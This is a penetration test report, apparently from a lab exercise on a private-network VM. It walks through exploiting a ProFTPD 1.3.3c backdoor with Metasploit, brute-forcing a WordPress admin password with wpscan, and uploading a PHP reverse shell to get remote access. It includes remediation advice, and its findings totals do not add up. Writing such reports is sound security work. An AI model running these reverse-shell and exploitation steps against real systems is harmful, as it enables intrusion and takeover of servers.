

PENETRATION TEST REPORT

VULNERABLE ORGANIZATION






Penetration Tester – Great Ezenwa Phone Number – +234 81485-81783 Email – greatgreat081@gmail.com

Security Posture

The scope was to exploit vulnerabilities on Vulnerable Organization servers and apps that may be exploited by malicious attackers. The aim of the tests was to go as far as possible.

NOTE:- Dots Color Signify ➤ Red - High Risk Orange - Mid Risk Green Low Risk

Grey - Safe



By this map, it is extremely clear that the organizational security measures, policies, practices and procedures are not aligned with the industry best practices. More than 25% of the tested infrastructure is in a critical state with High level of Risk.

TOTAL NUMBER OF VULNERABILITIES (including all 5 target machines)

Total Findings	High	Medium	Low
19	9	2	3

Overall Security Rating – Immediate Attention and Action Required

Methodology

I utilized a widely adopted approach to performing penetration testing during the tests to test how well the target environment is secured. Below, a breakdown of the applied methodology is provided.

- Information Gathering Reconnaissance [Foot printing, Scanning and Enumeration] Vulnerability Analysis – Researching Potential Vulnerabilities and Analyzing them
- Exploitation Using Exploits in order to validate the vulnerabilities of the target Post Exploitation – Everything that should be performed after successful exploitation.
- House Cleaning Ensuring that the Remnants of the Penetration Test are removed

Tools Utilized

Tools used by me were Industry Grade in a combination of Open Source and Commercial Licenses.

- 1. Nmap Industry's Most Commonly used Open-Source Scanning Tool
- Metasploit Framework Industry Grade Most Popular Pen-Testing Framework Toolset
- BurpSuite Professional Best in Class Suite of Tools for Web Application
 Assessment
- 4. Nikto Web Server Audit Tool
- 5. Dirbuster Directory & Web Files Enumeration Tool

6. Wpscan – Most popular WordPress Website Security scanning tool

Detailed Findings

HOST - 192.168.26.45

Name: Basic PenTesting 1

IP: 192.168.26.45

Type: Virtual Machine

This host contains -

- 1. FTP Server (ProFTPd)
- 2. SSH Server
- 3. Web Server (Apache)

Operating System: Ubuntu

1. Backdoor Command Execution – HIGH

- System Vulnerable 192.168.26.45
- Vulnerability ProFTPD-1.3.3c Backdoor Command Execution
- Severity Rating High | CVSS Risk Score 10 (Critical)
- Exploit Used -Rapid7.com/db/modules/exploit/unix/ftp/proftpd 133c backdoor

Description

Proftpd 1.3.3c service is found to be running on Port 21. It's a highly configurable & feature rich FTP server for Unix-like environments. An FTP Server's purpose is to handle data transfer between computers. In this case, this installation contains a backdoor vulnerability.

Analysis

Backdoor command execution allows remote attackers to execute arbitrary system commands with superuser privileges. This results in full confidentiality, integrity and availability violation of organizational data and systems.

Remediation

Option 1: If the FTP Service is not necessary, disable or remove it.

Option 2: Upgrade to a Stable Release. (Latest version available is ProFTPD 1.3.9)

Steps to Reproduce

1. My initial Nmap scan revealed 3 open ports and detected Ubuntu OS on the target.

Command Used – nmap 192.168.26.45 -A -p- --min-rate 10000

```
nmap 192.168.26.45 -A -p- --min-rate 10000
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-04 08:41 IST
Nmap scan report for 192.168.26.45
Host is up (0.00090s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
 ssh-hostkey:
   2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
   256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
   256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
 http-server-header: Apache/2.4.18 (Ubuntu)
 http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds
```

2. Searchsploit displayed a potential exploit for the ProFTPD 1.3.3c service at Port 21.

Command Used – searchsploit ProFTPD 1.3.3c

```
—$ searchsploit ProFTPD 1.3.3c

Exploit Title | Path

ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution | linux/remote/15662.txt

ProFTPd-1.3.3c - Backdoor Command Execution (Metasploit) | linux/remote/16921.rb

Shellcodes: No Results
```

3. To configure and test the discovered exploit, I used Metasploit Framework.

Exploit Used – exploit/unix/ftp/proftpd 133c backdoor

```
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
<u>msf6</u> exploit(<u>unix/ftp/proftpd_133c_backdoor</u>) > set RHOSTS 192.168.26.45
RHOSTS => 192.168.26.45
                                 133c backdoor) > set RPORT 21
msf6 exploit(unix/ftp/
RPORT => 21
msf6 exploit(unix/ftp/proftpd 133c backdoor) > set LHOST 192.168.26.129
LHOST => 192.168.26.129
msf6 exploit(unix/ftp/proftpo
                                       backdoor) > set payload cmd/unix/reverse
msf6 exploit(unix/ftp/proftp
payload => cmd/unix/reverse
                                  33c backdoor) > exploit
msf6 exploit(unix/ftp/proft
[*] Started reverse TCP double handler on 192.168.26.129:4444
[*] 192.168.26.45:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo jUOnncseB5p2geMB;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "jU0nncseB5p2qeMB\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.26.129:4444 -> 192.168.26.45:56124) at 2021-06-04 08:53:40
hostname
vtcsec
```

4. I decided to upgrade the shell from normal shell to meterpreter.

Module Used-Post/multi/manage/shell_to_meterpreter

```
Background session 1? [y/N] y
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.26.129:4433
[*] Sending stage (980808 bytes) to 192.168.26.45
[*] Meterpreter session 2 opened (192.168.26.129:4433 -> 192.168.26.45:52940) at 2021-06-04 08:54:44 +0530
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > ■
```

2. Weak Credentials - MEDIUM

• Endpoint - http://192.168.26.45/secret/wp-login.php

- Vulnerability Weak Password Usage for Wordpress
- Severity Rating High | OWASP's ID WSTG-ATHN-07
- CWE Reference https://cwe.mitre.org/data/definitions/521.html

Description

During the test, user "admin" was found to be using a weak password at Endpoint

Analysis

This WordPress user has admin level access on the WordPress website. So, with this level of privileges, an attacker can generate a fake plugin, pack the payload into it and upload it to the WordPress sever which on executing would give server user access to him/her.

Remediation

Introduce and enforce strong password policy and two-factor authentication.

Expert Opinion

Though weak WordPress credentials that finally lead to a system takeover are normally considered a High Severity Vulnerability, but in case of this specific machine, we only get a www-data user access (and not root!), so this has been rated as Medium.

Steps to Reproduce

1. A basic directory structure enumeration revealed http://192.168.26.45/secret.

Command Used – dirb http://192.168.26.45

2. Further reconnaissance disclosed that Wordpress 4.9.16 was installed.

Command Used – whatweb dirb http://192.168.26.45/secret

```
$\text{\frac{\pmatrix}{\pmatrix}} \text{\frac{\pmatrix}{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix} \text{\pmatrix}} \text{\pmatrix} \t
```

3. A wordpress username "admin" was easily detected through a special scan.

Command Used – wpscan –url http://192.168.26.45/secret -e u

```
[i] User(s) Identified:
[+] admin
  | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  | Confirmed By: Login Error Messages (Aggressive Detection)
```

4. Another attack using wpscan successfully found this username's password.

Command Used – wpscan -U admin --url 192.168.26.45/secret -P /usr/share/wordlists/metasploit/http default pass.txt

[!] Valid Combinations Found: | Username: admin, Password: admin

 Since this username had admin level privileges, it was possible to upload a shell. Screenshot below shows how the payload was configured for this purpose. Payload Location in Kali Linux – /usr/share/webshells/php/phpreverse-shell.php


```
File Edit Search View Document Help

$ip = '192.168.26.129'; // CHANGE THIS

$port = 4444; // CHANGE THIS
```

6. After logging into the wordpress dashboard of the website with admin:admin credentials, I uploaded this php-reverse-shell.php file as a payload to the site.

Plugin Uploader URL – http://192.168.26.45/secret/wp-admin/plugin-install.php



After pressing the "Install Now" Button, the following error was displayed on wordpress because our payload was obviously not a real plugin. But, the file has been uploaded.

Installing Plugin from uploaded file: php-reverse-shell.php Unpacking the package... The package could not be installed. PCLZIP_ERR_BAD_FORMAT (-10): Unable to find End of Central Dir Record signature Return to Plugin Installer


7. A listener was setup in Metasploit framework which can catch the reverse shell.

Metasploit Module Used – exploit/multi/handler

```
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.26.129
LHOST => 192.168.26.129
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.26.129:4444
```

8. On accessing the URL of the previously uploaded payload, A reverse shell with user level access on the target is received by our handler.

Uploaded Plugin URL – 192.168.26.45/secret/wp-content/uploads/2021/06/php reverse-shell.php



Conclusion

Vulnerable Organization suffered a series of control failures, which led to a complete compromise of many in-scope machines. These failures would have had a dramatic effect on the company's operations if a malicious party had exploited them.

The overall risk identified to Vulnerable Organization as a result of the penetration test is High. A direct path from external attacker to full network compromise was discovered. The fact that all 5 systems in scope were compromised makes it clear that these systems were not tested from a long time and since, they are all placed at the DMZ area, It's a risky situation.

The primary goal of this penetration test was stated as identifying if there is any weakness in Vulnerable Organization's Network that could potentially be used by attackers to access sensitive health (PHI) or payment data which would violate HIPPA or PCI-DSS compliances.

These goals of the pentest were met and in-fact much more than this. Many critical vulnerabilities were found during the test that directly affect confidentiality, integrity and availability of the information and systems. Majority of the findings have occasional prevalence, easy exploitability, and devasting impact with simple prevention.

It was found that your security architecture has few patterns:

- Operating Systems are Outdated and Unpatched.
- Software's and Services are Outdated.
- Passwords are either defaults or very weak.
- Security Controls are either not defined or implemented in most cases.
- All the vulnerabilities found have easy mitigation

In conclusion, these vulnerabilities should not be there in the first place. Vulnerable Organization needs to redefine their Information Security Management Program and rethink their processes.

Recommendations

Due to the impact to the overall organization as uncovered by this penetration test, appropriate actions should be taken to remediate and safeguard your IT infrastructure.

Though mitigation for specific vulnerabilities has already been given in this report, **Additionally, we recommend the following:**

- 1. Establishment of Updates & Patch Management Program
- 2. Implementation of WAF and IPS
- 3. Source Code Review of Deployed Applications and Sanitization
- 4. Alignment of Security Policies with Industry's Best Practices
- 5. Use a Custom 404 (Not Found Error) Page
- 6. Social Engineering training for every employee
- 7. Vulnerability Scanning on at least monthly basis (Scan Patch Scan Again)
- 8. Install a HIPS and DLP to stop common attacking payloads like meterpreter